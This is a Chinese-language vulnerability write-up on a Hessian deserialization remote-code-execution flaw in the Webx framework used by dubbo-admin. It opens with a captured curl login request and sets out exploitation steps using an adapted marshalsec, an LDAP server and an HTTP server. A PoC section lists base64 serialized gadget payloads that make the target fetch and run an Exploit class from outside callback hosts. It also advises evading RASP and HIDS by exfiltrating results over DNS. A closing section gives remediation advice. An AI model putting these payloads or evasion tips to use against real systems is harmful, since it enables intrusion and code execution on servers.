   -H $'Host: 172.18.163.117:8080' -H $'User-Agent: User-Ass2' -H $'Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://172.18.163.117:8080/login.htm' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 5194' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9/V3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw==' -H $'Upgrade-Insecure-Requests: 1' 
   -b $'JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9/V3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw==' 
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* --data-binary $'action=user_action&event_submit_do_login=1&_fm.l._0.n=admin&_fm.l._0.p=2&_fm.l._0.p.attach=eNqtVs1vG0UUf2M7tmOc5qP5bKFNadMmKd1NiJ2mOCLkgxaD0wQS0oMP1ng9OBv2q7OzxOHQQ%2F8AJAQX%2FgE4EA6RKqgQQuLKhQsnEBInboBQOSBVFN7sbuI0CY1bYsk7s2%2Fe9%2FvNe7v5KzS5HHrW6DtU8YRuKItct7kuNl73mMc%2B%2FGHkzv2p21tRiOQh5urvsgKkNNt0KKfC5gK6C1JSlZLq7A49V3MAIIKKL9q8qlCHaqtMQTnTtlylzKglBVxlBnd1qe%2FeI7cfXP%2FjVgQiD1m5CbeAFCDpcNthXGwI6AisGtSqqkuC61YVLaK1qQOsabZhME3owX5bp6uEdssGq3tw%2F8%2BPBu5aW5cjADVHQJvtCccTi4FdnbnrMQwrioZeQE2K61nKLoM1iv4ouiUYt6ih1FxDaIrgtKYsM9MxqGBuHtfmGwvfWJufjkUhnoeWkm5VmCWue2aZ8TwcK6GA5RpM5JFeK0KqVN4QTLMrzBUQLRZnihAvaQZ18bWjuCsNs5KWK0BTyaImkymLFaC9tDeChytWpwcVg3%2Fw53Hf0Gt%2F93VVqz8GuZDVRHqkOLN5r%2BeveHL555Ac%2F%2BrbB19%2BjccZuJKCKDybgMsJGEjAeQJtLuM6NVYYdzH7b%2BbnCJBXCbTMYikEtcQKNTzW9Fn%2FB%2Ffe%2F%2Bn3FwnEJ3VLF7iJDg6tEIjNYtQEWgu6xYL8LMtqEay%2BraFaisrxPSTGxKruEji%2BJLzycpjDRbph2LRCIJ23LMb9FDFkyhY2XDtwTnUCHjdIyDVaqTLhnjtAS45As1%2Bct2xuEuCDBcSAihhQEQNqgAHVx4C6jQHVx4A6tzCfKx7IbRp13sAfvGFcXQq3VKL2FWpVDMZzMiXJiq15JuKFwKXHMo%2Biq4EeDH%2Fm%2FztDIPVyTWOOf60ScIHAx4%2BXj0M9qAhTnVuen67pbh5Jflc5mhzqoTqJgyfxgkAizCWB6aPI5JLtcY1d1SWM0yECFXlJ05CCpxIwSGDsCQBL4KVGK8I9S%2BgmU6fLLkJcE9uaCHT6zUK36877t%2B1Ko5q3Ne2ghcDpQ2LBEk1qRtgK2usd7o3AyQQMY86QMXwn0DU4VNjHlkvDc3ApBRdBIXBe2J622q%2Bu2hgkrZi6pZrUolUsyjorU8dRR5U110nCCDYSVmMagQuD%2B2fMbjPYOjWGHTcNz8OYNJPBzrYkqPb2PHXCnnSqHuniOjag7PhIZmIiM57NjmdGs%2BME%2BguP5sjBGYhgV0Wv8H8CmiCOa0J2Y0j6NAQIPtNIUXEluDYNfwFky2dpwWfcJw7BMXymAwZohQlcsVlCJ3JJ4Sk51yRtr6DqC%2FYHh6Gg3HVBt39OoAd6UaIP94GPUu3JUG3epx6gNuOrHQ4OD1T7NDyDEnJ3Ck6j%2BbqBJEazHfQ5PJFcrZ9AlBTugtox%2Bjlkb2z5guN%2BUERy9Pv2z0A7rik8isBZaINmT87JNuT9fmeKnZRTrCsBPQnoTUBfo1Ps5i%2F6b5Pmtd6jmWLRq7a9b2oNHDq1UKqRfnKCwNkGVGHodbgvlNfwI%2Bo%2F%2B8Fhd%2FqROCaN43hiD447%2FPPj%2FrNzV3W7ZXXxCy6Gt4o76wRqstIttX8B%2FR4gZg%3D%3D
' 
*/
   $'http://172.18.163.117:8080/login.htm'

##dubbo-admin： dubbo-2.6.1以后的版本不再有dubbo-admin ，我们就以https://github.com/apache/incubator-dubbo/tree/dubbo-2.6.0为例吧。发现https://github.com/apache/incubator-dubbo/blob/dubbo-2.6.0/dubbo-admin/src/main/webapp/WEB-INF/forms/provider.xml 是典型的写法，存在安全风险。incubator-dubbo/dubbo-admin/src/main/webapp/WEB-INF/webx.xml 设置cookie通过序列化的形式进行对象存贮。就像这里提到的一样，http://wp.blkstone.me/2018/09/writeup-2018-alibaba-security-competetion/,这里不再赘述。

webx的Session框架提供了一种encoder的实现，编码的基本过程为:序列化、加密(可选)、压缩、Base64编码、URL encoding编码。默认为hessian-serializer,其存在一项反序列化漏洞。

利用方法：

修改marshlsec适配webx框架。

https://github.com/nanolikeyou/marshalsec

搭建测试环境：https://github.com/nanolikeyou/dubboadminrce

首先启动java LdapServer http://xx:9090/#Exploit

再启动http server。

构造的rmi或者ldap形式的jni factory，触发cookie处理时调用hessian反序列化，会触发http下载执行class，应用程序内部具备了完全的命令执行权限。

这里需要注意的是几个Gadget的的点，基于hessian反序列支持SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin，其中

SpringPartiallyComparableAdvisorHolder 需要aspectj,默认的webx或者dubbo admin并没有这个jar包，功能方面需要开启aspectj 注解模式，对spring配置aop:aspectj-autoproxy。
SpringAbstractBeanFactoryPointcutAdvisor 需要高版本spring-aop，参考：https://github.com/mbechler/marshalsec/issues/8
Rome不自带，除非业务使用了webx框架，并且主动添加
Xbean不自带，除非业务使用了webx框架，并且主动添加
Resin，在应用服务器为resin时，直接具备包。

观察我在github上传的代码，可以发现一处新的gadget，技巧是利用了SpringExtUtil的tostring方法，不需要第三方jar包，就可以执行RCE。

poc：

Rome ldap://Rome.lzv3nf.ceye.io/Exploit eNqVUs1uEzEQlppCm5+qlThz4YK4OJG4cWTTqiASIFly6IlZe9K4sj1bj910+xJse+wz8CZ5EQ4ceAS8G4m/QyXG0vgbz3zf+O80Gz2XZIUni4HIcIvEElEJbUsjji8jGH6N4O66RfKZAeYOFRefs8MLuAJhwJ2LdvV214FFGL14UDCnefDanTeS2X/U/tO+gKcNlaNLpDVjEG9VIWe0nmN4k7jZw+mveyltwanOp9m7noIAc4peYs+3JXlVYp9XtB6jwYBqcBnRV7m2SDHsWbhOSjxI84lGo+b6BvuSnIzeo5PVvkdQ752pjpAllPjBk0TmdJCuZjIQNLn9JQa5GmvfbUEjsZsk3E7JO54fN5uejB95TP5ATyCVZGSidXzIwf8ZDwrtwFfpohDsQXRaksJt1AeWWm9xT67Ab2HHQtk1mgM6TK1K8GBZTqejZ0ZB+Wo4nDWvYG6uXrqlkFih0DQ8vi4N6bD5flLX9eZHnt9tvtXTxhZH7T+IQRuxQBnI33/5ZYv6vrMkmv5tkye/KafAqwCFwbOPt804+wmnR/f1 Resin http://Resin.lzv3nf.ceye.io/ Exploit eNqNVM1OFEEQPizLIn8SIYqiB6OJnnrHGBPjwUQHCEZ3FDDE4GGt7a6daeifSXfPuvAQJiIXE08m6kP4Avgs3nwCu2cWWBLZOJfp6v6+r76qVPdafIVqSSgUNNNEgeQqJesJSDyYaFOtHPbdeJs7lPZdHN3ZgR70j2E25yT2EK4KcFyrZW7iivGpRnOsoeo1gkTs+hBHt85wY1BKu1dGU0S20qeYB4UvM0ZrdxLOMHTARQuthRTr3qTFOYMSuPIaCb4PPqd8Gm60kqhcA4QLe5ODv888bdBq0UNWYo+Dl52dmVOhwLAO6O5rAxQXbJHnHmiHjNlOMvjiy2fq2MAuGlQUDy9QAdYGrelytQrUabO3MBy80LTsVB0YM5bWVrVurPRzoblbypzLHzWbG1oiEfu9+6pLKO4h4bqZz4WcpHBckC0MSsnW9bflngBvYvPE+4rA0IfP8dKI08NZht6V8f7jYG5Sost02aCJLhdY9kNwhUkhO2jYogRjMxAWKUmBpeisr9tyNSthF8tVOTGT5ZKEzEcPWXTbFooY7ArvmCS+7h62ykRPKPXd1eaZzEWDq57exejGeYBS7sN/qo1XaqPFjh6z6O6w2jIKTD1DpecqRjdHgUrZn2zxtOfH0hV2IDJVRSX61x92daitrWop0DwF6wfIIDj0Q+o15s+eVeznI9h1pjcK9S/a0bcRtJo5h7THLg2R1nzVHNRYuDvTg6DCPUha86dzugY2c9ARuJ3s17pa1zpg1j/G0b3w3ITua5MSyIFmSPo5uIxw/3QYBYLosm5L3my6MKMHddn2WxOynYO/ag7Hfv/4fvHaVLL+dfsvx0jJBA== XBean http://xbean.lzv3nf.ceye.io/ Exploit eNqFUk1v00AQPRC3bktVkEqlShw5b4I4IMGJurWKhFwlKR/iUsbrcbLJene1u04c/kVbVHHiL/C3+BnMOqaEE3vxePzmzXvPe54MXmo7Yc5YoSalhQqX2s4ZaMM82Al6dq79eAnGQC7xsm2NdW05Xm+tAV+SwetAAQb4FFmTIyimoCI+xrXy2HiWrJ/vvZDPRgjFhZKrE6EKwnzfFW6EErxYYI/GcIdLcC6jKi5rKUMRtZBoAbLG7Y4zznWtiot8BumDUussu0yOZrCA5s/uEZZoUXH89pfxYVulwL22q8PNl3eakwStIigK6/JAuX3WGKmFfzr13rzq99fO5NfFC1UyjitkQvfNo7CU1eSMfcBAlQz6/4vjoxU+xNnF8uOAB+y9YHfoamO09fedAD4mCJ+fUqNrnoqyrfwR2agr3Ph0ErI5CGm+VcG3IzG4W+lClCJwbQmVgJQ7SxKCZH2+l6//BuVcxlRiQ8XjTm+KBdo2nf0KnEfb6X5iwDossn/X7HdTbzg5cTylk6VZd4a3w2u6MM+5rpirFdtMyoCfMkGzVoFkOp9RnI59GvtwNW+i6opacXVFS8lz0fv18zbuRdnw7vNvlHII9g== SpringPartiallyComparableAdvisorHolder ldap://adv.lzv3nf.ceye.io/Exploit eNqNVE1PFEEQvQASEFxN0HAxmmi8NWNINPE2TMQFdfjYPRg8YO1M7cysM11td89++CsWSLwaf4Z/yN9h9cwsoIHAnLZeV71Xr7p624H3mnQijNKZTPoaChyR/iqAlLCgE7SiTbYzAqWgl2O3gjpU6ghPFuqEL4Enr6MAozCyAwGlJaVpPBF+hez6I9Dox8PMkPb5cN8dBhrBkn62D9pmkOeTgAoF2gk3qW3KY9Snd6AOl6I6gYsg8F7d1EWjvU+ZtFFpG86zedJMuuA4I1xUzWkvDLzNWzL6mkoZ+xXBr9UYoxxcTZCDMUsF2pTikMuX6jL3s1Ungc1I7jn5uzbVNOIid7qi0ZZaNtGjODMRDVFjfDjDuxOFDy/wblNcwQN2UHn0dVIWKO2OjHHsPTnHO5Z1IzflfzLWoInMjrSaql4xfnyF+juUqLPIqa26+bNF1C4y5+Nbq73uSGNBRrgNEV/SZGUm4XyZ1izaymTMtCYK7g1gCCIHmYhqeidzkjPj1gW81xsw76KljnUzDqchf9Ppdqhan/8r5ht8f+NmSkm2ugaxhSCbPv2rmj+relnuXaSt1iwf0UIMFtB7mseg3mxs8C6J/PtwU/ZFhBMUGW28HaucMnvNmg54AMKUSpG2opMVKsddhi619GNZo6ke3iH2H5iU3497GIcNaFqGCXO0vE/VhMzKLL+6mIWckoTXzAl1kfnBYr/77X41stJmuWiDSTtob+GhfdQ+CrwXzgcoiFIU/A4LkkY4EW5DOAMipD31gZJpEnjPr/W8e6mf06bJZZTDTJN0q5EmYfUdnPD/zEvW4SlJcUl6rMCmgpcOtYRcUG1efKrX43S+OGZosTjmPWW6bO7P9Pf62np48PPoL7nJ57I= SpringAbstractBeanFactoryPointcutAdvisor ldap://spirngadv.lzv3nf.ceye.io/Exploit eNqNj8FOwkAQhk8aE9Soz6DhtjQx8eANq6Yhpoj0xIlhOy2L2511dlvFp0BiPPi0thGUgyTedif//PN9URh0iXPhLCuTZwwFPhM/CiArXGktsRfXmEGp/RWCuQXpief3pIyXpe+mlXLE74dQPyQ2ibhu2CFOkffsKtWa/G6Og7ZOwV52Os4qNnm9KPRrdW4yIXGOQlHn5sVqUj4Og9NtZAmXuGZYQBhc/BWcmVT9OAxVYTX26tGGxkeL0VHJEh8wO3FTYISJrj/fQ3fk6kKNnkx/MkPp3cE6n8wtul1NeY683xxKsO4Hj5Pk6XgGFYjSKy0icNMh+n87R6NoFAbtxgYsyCkKSUVBxonmVA0jGg0RU9/eUb6QYXC21by3QbVcobbQVIrJFGh8KuPB2ziOB8t48Dn6AkAoxWk= SpringAbstractBeanFactoryPointcutAdvisor2 ldap://spirngadv.lzv3nf.ceye.io/Exploit eNqNUs1u00AQvrQpUoEWJN6gVW8TIySQkDiAKXIrlP44lVAuZWyPnQ3r3WV3nDo8BYkEJx6CF+Md2LUT6AEQx/08/n7mmySOnmlbgTNWqKq0WNONth8AtQFGWxFDojm9QWMwkzTuoFQ3NqfloB94H0cvcl0DSpFhhpALto1bM1LL0LCQkHbP45av/OvgZebYYs7nVreL1bZQXLqd0gPaLjDem+EcQaKqIJbo3HJLeV/Z/m845cAWR+Kfwq4xRlsGg9aRhY3oyJMVnfIrQvWaSqEEC63Ou7GD7ksf9E3v6KQ2cnW/Txt+CQQbt3l0JAs0z4dDZ4RVFRZzkJ/mT1QJOS0IhB4et0ZqwXH09E+bnqlC/HKaCi9Fpx4KOmv5r7uWXLfySyofuilaCl1crkG37zyhJNbqLJtRzu7eZn68MOQGUlcV2btBaEyeH5mK8ccH3Ta7bhJ005T4v5Mkk2QSR0chDRrMpwS+hlorB0HKm4EQA0b6zLzV1WeKo8O/Jj+95Wq1trpLai6sVjX5u6DRxdKf2OPQtGsU3FJtDfIU/PGQVShB9+nhXX8dq+362kN36mvfv2eqtn58+f5oZzC6+Db5CZRVH70=

证明：

构建Exploit.class：

python -m SimpleHTTPServer 8080。

使用适配后marshal生成payload：

eNqNVE1vEzEQPaRpStOWilalfB0QSHBylgNSVSQk2KYqElloiypUDmFiT3bdeu2V7Q2BH4FE6QUJLhzgR3DgWn4LN34BtpO2qUQj9rIe+703M09jb8SXqcoJhZJmikjIuUzJZgI5Hky1qZIW+3ayzS3m5nUc3dmDHvSPYabgJHYQLkuwXMk1ruMB42OFFlhB2at5idj2IY5uneHGIKWyz7WiiKzZp1h4hc+zWil7Es4ytMBFC42BFKuuSIPzGnPg0mkk+MbXWXdpuFYyR2lrIKzfmx7+XeYZjUaJHrKAPQ6edfZmT4U8w1ig+y80UFw0ZVE4oBkpzHSS4RcvneljC7uoUVI8vEAFGOO1ZsJqHahV+u3iaPBU0eBUFRjThlbWlao1+4VQ3C5l1harjYZwEJEpY1dXopWoUcz7dKS0XJAd9CLJzvVXYU+Ay799UnZToLfgU3xtzOnhHENXkHalx76u6RxtpoI3U10uMFghuMSkzDuo2XIO2mQgDFKSAkvRGtey4XIuh30MqzAs02FJfOaj+yy6bUpJNHaFq5gkruUetkKiR5Q6Y5V+kheixmVP7WN04zxAkHv/n2qTA7XxYkcPWXR3VG0NBaaOIdNzFaOb40BB9gdbPvX8WHqAHYrUB1FA//rDrozY2hosBerHYNzsaASLbj6dxsLZswH7wRh2lamtUv6LdvRlDK2izyFpdmmEtOG65iAn/LWZGQYB9zNpLZyO6QaYzEJH4G7yrtJVqtIBvfkhju75h8abr3RKoACaIekXYDPC3aOhJQiiQtuGvNy2fkQPqnnbbU3l7QLcJbM48fv7t4tX68nm192/FsrGdA==

使用替换cookies值tmp0，

被rasp拦截：

这里建议使用java编程的方式通过dns隧道回显结果，不通过直接调用命令的方式，防止rasp或者hids拦截或者使用反射开启Webx Framework的开发模式工具。

观察rasp显示的调用链：

去掉rasp：

##其他历史应用

可以检索cookie包含tmp0=enp或者tmp0=enr的应用。

#漏洞危害

#修复方案 ##反入侵应急阶段： 1. waf增加相应的检测手段 2. 梳理历史的资产，在hatrix、rasp产品新增反序列检测功能并验收。 3. 排查存量代码可以直接在svn、git检索上发现业务直接在源代码文件中调用反序列功能的写法，版本号； 4. 由于webx遵循页面驱动的理念，可以检索前前端定义的"_fm.0"表单元素 5. 收集依赖组件，应用。 6. 增量业务的整改建议升级webx框架和common-file-upload、jdk7u21等其余ysoserial支持的调用链组件，让readobject有入口，但是不能被触发。 ##应用安全审计：将poc纳入burpsuite插件，作为日常审计checklist。 ##业务代码修复：回顾软件需求设计阶段，增强软件韧性，具备一定的安全能力。

增加攻击面分析步骤，对历史系统进行盘点。

升级hessian版本至4.0.51通过ClassFactory设置白名单。

修改为hessian加密方式。

进行cookie数据验签。

由于功能主要发生处为web请求参数的自动解包处理FIied，建议业务对于新版本去除此功能，并预警知会开源社区。

文件存储 dubbo 安全 spring 图像处理

0 人点赞